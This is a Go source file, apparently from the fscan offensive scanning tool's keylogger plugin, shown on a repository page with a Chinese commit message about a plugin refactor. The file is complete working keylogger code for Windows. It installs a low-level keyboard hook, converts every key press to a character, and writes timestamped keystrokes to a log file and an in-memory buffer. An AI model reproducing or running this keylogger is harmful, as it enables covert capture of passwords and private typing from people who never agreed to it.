fscan/plugins/local_backup/keylogger/keylogger_windows.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

337 lines
7.8 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// +build windows
package keylogger
import (
"context"
"fmt"
"os"
"syscall"
"time"
"unsafe"
"github.com/shadow1ng/fscan/common"
)
// Windows API 声明
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW")
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
)
const (
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
)
type (
DWORD uint32
WPARAM uintptr
LPARAM uintptr
LRESULT uintptr
HANDLE uintptr
HHOOK HANDLE
HWND HANDLE
)
type POINT struct {
X, Y int32
}
type MSG struct {
HWND HWND
Message uint32
WParam WPARAM
LParam LPARAM
Time uint32
Pt POINT
}
type KBDLLHOOKSTRUCT struct {
VkCode DWORD
ScanCode DWORD
Flags DWORD
Time DWORD
DwExtraInfo uintptr
}
// 全局变量 - 简化版本
var (
windowsHook HHOOK
keylogger *KeyloggerPlugin
logFile *os.File
eventChannel chan KeyboardEvent
stopHookChan chan bool
)
// KeyboardEvent 键盘事件结构模仿gohook的设计
type KeyboardEvent struct {
Kind EventKind
Rawcode uint16
Keychar string
Timestamp time.Time
}
type EventKind int
const (
KeyDown EventKind = iota
KeyUp
)
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
common.LogInfo("启动Windows键盘记录 (高效版本)...")
keylogger = p
// 创建事件通道模仿gohook的设计
eventChannel = make(chan KeyboardEvent, 100)
stopHookChan = make(chan bool, 1)
// 打开日志文件进行实时写入
var err error
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
defer func() {
if logFile != nil {
logFile.Close()
logFile = nil
}
}()
// 写入文件头部
p.writeLogHeader()
// 启动Hook监听在独立goroutine中
go p.startKeyboardHook()
// 启动事件处理模仿你的for ev := range evChan的模式
return p.processEvents(ctx)
}
// startKeyboardHook 启动键盘Hook监听
func (p *KeyloggerPlugin) startKeyboardHook() {
// 安装Hook
hookProc := syscall.NewCallback(keyboardHookProc)
moduleHandle, _, _ := procGetModuleHandle.Call(0)
hook, _, _ := procSetWindowsHookEx.Call(
uintptr(WH_KEYBOARD_LL),
hookProc,
moduleHandle,
0,
)
if hook == 0 {
common.LogError("安装键盘Hook失败")
return
}
windowsHook = HHOOK(hook)
common.LogInfo("键盘Hook安装成功")
// 消息循环
msg := &MSG{}
for {
select {
case <-stopHookChan:
// 清理Hook
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
common.LogInfo("键盘Hook已清理")
return
default:
// 非阻塞消息处理
ret, _, _ := procGetMessage.Call(
uintptr(unsafe.Pointer(msg)),
0, 0, 0,
)
if ret == 0 || ret == 0xFFFFFFFF {
break
}
}
}
}
// keyboardHookProc Hook回调函数 - 简化版本
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
// 立即调用下一个Hook确保系统响应
ret, _, _ := procCallNextHookEx.Call(
uintptr(windowsHook),
uintptr(nCode),
uintptr(wParam),
uintptr(lParam),
)
// 快速处理我们的逻辑
if nCode >= 0 && eventChannel != nil {
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
vkCode := kbdStruct.VkCode
keychar := quickKeyChar(vkCode)
if keychar != "" {
// 非阻塞发送事件
select {
case eventChannel <- KeyboardEvent{
Kind: KeyDown,
Rawcode: uint16(vkCode),
Keychar: keychar,
Timestamp: time.Now(),
}:
default:
// 通道满了就跳过,不阻塞系统
}
}
}
}
return LRESULT(ret)
}
// processEvents 处理键盘事件 - 完全模仿你的设计
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
common.LogInfo("开始处理键盘事件...")
// 完全模仿你的for ev := range evChan模式
for {
select {
case <-ctx.Done():
common.LogInfo("收到上下文取消信号,退出键盘记录")
stopHookChan <- true
return nil
case ev := <-eventChannel:
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown
if ev.Kind == KeyDown && ev.Keychar != "" {
// 写入文件 - 完全模仿你的实时写入模式
fmt.Fprintf(logFile, "[%s] %s\n",
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
logFile.Sync() // 模仿你的f.Sync()
// 添加到内存缓冲区用于统计
p.bufferMutex.Lock()
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
p.bufferMutex.Unlock()
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
}
}
}
}
// writeLogHeader 写入日志文件头部
func (p *KeyloggerPlugin) writeLogHeader() {
if logFile == nil {
return
}
// 模仿你的日志格式
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
fmt.Fprintf(logFile, "记录模式: 持续记录\n")
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
fmt.Fprintf(logFile, "================================\n\n")
logFile.Sync()
}
// quickKeyChar 快速键码转字符(简化版本)
func quickKeyChar(vkCode DWORD) string {
switch {
// 数字0-9
case vkCode >= 0x30 && vkCode <= 0x39:
return string(rune(vkCode))
// 字母A-Z (统一转小写)
case vkCode >= 0x41 && vkCode <= 0x5A:
return string(rune(vkCode + 32))
// 基本特殊字符
case vkCode == 0x20:
return " "
case vkCode == 0x0D:
return "[Enter]"
case vkCode == 0x08:
return "[Backspace]"
case vkCode == 0x09:
return "[Tab]"
case vkCode == 0x1B:
return "[Esc]"
case vkCode == 0x2E:
return "[Delete]"
// 方向键
case vkCode == 0x25:
return "[Left]"
case vkCode == 0x26:
return "[Up]"
case vkCode == 0x27:
return "[Right]"
case vkCode == 0x28:
return "[Down]"
// 特殊键 (包括左右Shift/Ctrl/Alt)
case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT
return "[Shift]"
case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL
return "[Ctrl]"
case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU
return "[Alt]"
// 基本标点符号
case vkCode == 0xBA: // ;
return ";"
case vkCode == 0xBB: // =
return "="
case vkCode == 0xBC: // ,
return ","
case vkCode == 0xBD: // -
return "-"
case vkCode == 0xBE: // .
return "."
case vkCode == 0xBF: // /
return "/"
// 功能键
case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12
return fmt.Sprintf("[F%d]", vkCode-0x6F)
default:
return "" // 跳过其他按键,保持高性能
}
}
// checkWindowsRequirements 检查Windows特定要求
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
common.LogInfo("检查Windows键盘记录权限...")
return nil
}
// 其他平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("Linux平台请使用专门的实现")
}
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("Darwin平台请使用专门的实现")
}
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}